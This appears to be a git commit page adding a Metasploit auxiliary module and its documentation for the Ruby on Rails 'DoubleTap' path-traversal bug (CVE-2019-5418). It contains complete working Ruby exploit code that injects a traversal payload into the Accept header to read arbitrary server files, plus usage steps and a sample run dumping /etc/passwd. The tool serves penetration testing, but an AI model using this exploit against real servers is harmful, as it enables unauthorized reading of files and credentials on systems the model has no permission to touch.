Browse Source

Land #11646, Add module for Rails "DoubleTap" vulnerability

Wei Chen 5 months ago
parent
commit
8ceefce8bf
No account linked to committer's email address

+ 76
- 0
documentation/modules/auxiliary/gather/rails_doubletap_file_read.md View File

@@ -0,0 +1,76 @@
1
+## Vulnerable Application
2
+
3
+  Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:
4
+
5
+  https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
6
+
7
+## Verification Steps
8
+
9
+  1. Start a Rails server using a vulnerable version 
10
+  2. Start msfconsole
11
+  3. Do: ```use auxiliary/gather/rails_doubletap_file_read```
12
+  4. Do: ```set ROUTE /your_route```
13
+  5. Do: ```set RHOSTS target```
14
+  6. Do: ```set TARGET_FILE /absolute/path/to/remote/file.txt```
15
+  7. Do: ```run```
16
+  8. If everything goes smoothly, you should get the contents of the remote file printed to the console.
17
+
18
+
19
+## Options
20
+
21
+  **ROUTE**
22
+
23
+  This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file. 
24
+
25
+  **TARGET_FILE**
26
+
27
+  This is the file to be read on the remote server. This *must* be an absolute path (eg. /etc/passwd).
28
+
29
+## Advanced Options
30
+
31
+  **SKIP_CHECK**
32
+  
33
+  This options skips the initial vulnerability check and continues thinking the server is vulnerable. 
34
+
35
+## Scenarios
36
+
37
+### Version of software and OS as applicable
38
+
39
+
40
+  ```
41
+msf5 > use auxiliary/gather/rails_doubletap_file_read
42
+msf5 auxiliary(gather/rails_doubletap_file_read) > options
43
+
44
+Module options (auxiliary/gather/rails_doubletap_file_read):
45
+
46
+   Name         Current Setting  Required  Description
47
+   ----         ---------------  --------  -----------
48
+   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
49
+   RHOSTS                        yes       The target address range or CIDR identifier
50
+   ROUTE        /msf             yes       A route on the vulnerable server.
51
+   RPORT        80               yes       The target port (TCP)
52
+   SSL          false            no        Negotiate SSL/TLS for outgoing connections
53
+   TARGET_FILE  /etc/passwd      yes       The absolute path of remote file to read.
54
+   VHOST                         no        HTTP server virtual host
55
+
56
+msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
57
+RHOSTS => localhost
58
+msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
59
+RPORT => 8000
60
+smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
61
+ROUTE => /demo
62
+msf5 auxiliary(gather/rails_doubletap_file_read) > run
63
+[*] Running module against 127.0.0.1
64
+
65
+[+] Target is vulnerable!
66
+[*] Requesting file /etc/passwd
67
+[+] Response from server:
68
+root:x:0:0:root:/root:/bin/bash
69
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
70
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
71
+...snip...
72
+systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
73
+postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
74
+
75
+[*] Auxiliary module execution completed  
76
+```

+ 122
- 0
modules/auxiliary/gather/rails_doubletap_file_read.rb View File

@@ -0,0 +1,122 @@
1
+##
2
+# This module requires Metasploit: https://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+class MetasploitModule < Msf::Auxiliary
7
+  include Msf::Exploit::Remote::HttpClient
8
+
9
+  def initialize(info = {})
10
+    super(
11
+      update_info(
12
+        info,
13
+        'Name'        => "Ruby On Rails File Content Disclosure ('doubletap')",
14
+        'Description' => %q{
15
+          This module uses a path traversal vulnerability in Ruby on Rails
16
+          versions =< 5.2.2 to read files on a target server.
17
+        },
18
+        'Author'      =>
19
+        [
20
+          'Carter Brainerd <0xCB@protonmail.com>', # Metasploit module
21
+          'John Hawthorn <john@hawthorn.email>' # PoC/discovery
22
+        ],
23
+        'License'     => MSF_LICENSE,
24
+        'References'     => [
25
+          [ 'URL', 'https://hackerone.com/reports/473888' ],
26
+          [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
27
+          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q' ],
28
+          [ 'URL', 'https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/' ],
29
+          [ 'CVE', '2019-5418'],
30
+          [ 'EDB', '46585' ]
31
+        ],
32
+        'Notes' => {
33
+          'AKA' => 'DoubleTap'
34
+        }
35
+      )
36
+    )
37
+
38
+    register_options(
39
+      [
40
+        Opt::RPORT(80),
41
+        OptString.new('ROUTE', [true, 'A route on the vulnerable server.', '/home']),
42
+        OptInt.new('DEPTH', [true, 'The depth of the traversal.', 10]),
43
+        OptString.new('TARGET_FILE', [true, 'The absolute path of remote file to read.', '/etc/passwd']),
44
+        OptBool.new('PRINT_RESULTS', [true, 'Print results of module (may hang with large amounts of data).', true])
45
+      ]
46
+    )
47
+
48
+    register_advanced_options(
49
+      [
50
+        OptBool.new('SkipCheck', [true, 'Skip the initial vulnerability check.', false])
51
+      ]
52
+    )
53
+  end
54
+
55
+  def get_accept_header_value(depth, file)
56
+    return (('../'*depth) + file + '{{').gsub('//', '/')
57
+  end
58
+
59
+  def check
60
+    return true if datastore['SkipCheck']
61
+    # Check if target file is absolute path
62
+    unless datastore['TARGET_FILE'].start_with? '/'
63
+      vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
64
+      return Exploit::CheckCode::Unknown
65
+    end
66
+
67
+    # Fire off the request
68
+    res = send_request_cgi({
69
+      'method' => 'GET',
70
+      'uri' => normalize_uri(datastore['ROUTE']),
71
+      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
72
+    })
73
+
74
+    if res.nil?
75
+      vprint_error "Request timed out."
76
+      return Exploit::CheckCode::Unknown
77
+    end
78
+
79
+    if res.body.include? 'root:x:0:0:root:'
80
+      return Exploit::CheckCode::Vulnerable
81
+    else
82
+      vprint_error 'Target is not vulnerable. Make sure your route is correct.'
83
+      return Exploit::CheckCode::Unknown
84
+    end
85
+  end
86
+
87
+  def run
88
+    unless check == Exploit::CheckCode::Vulnerable
89
+      print_error 'Check did not pass, exiting.'
90
+      return
91
+    end
92
+
93
+    fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
94
+
95
+
96
+    print_status "Requesting file #{datastore['TARGET_FILE']}"
97
+
98
+    res = send_request_cgi({
99
+      'method' => 'GET',
100
+      'uri' => normalize_uri(datastore['ROUTE']),
101
+      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
102
+    })
103
+
104
+    if res.nil?
105
+      print_error "Request timed out."
106
+      return
107
+    end
108
+
109
+    unless res.code == 200
110
+      print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
111
+      print_error 'User probably doesnt have access to the requested file.' if res.code == 500
112
+      return
113
+    end
114
+
115
+    unless datastore['PRINT_RESULTS']
116
+      print_good 'Response from server:'
117
+      print_line res.body.to_s
118
+    end
119
+    store_loot('rails.doubletap.file', 'text/plain', datastore['RHOSTS'], res.body.to_s, datastore['TARGET_FILE'], "File read via Rails DoubleTap auxiliary module.")
120
+    print_status 'Results stored as loot.'
121
+  end
122
+end

Loading…
Cancel
Save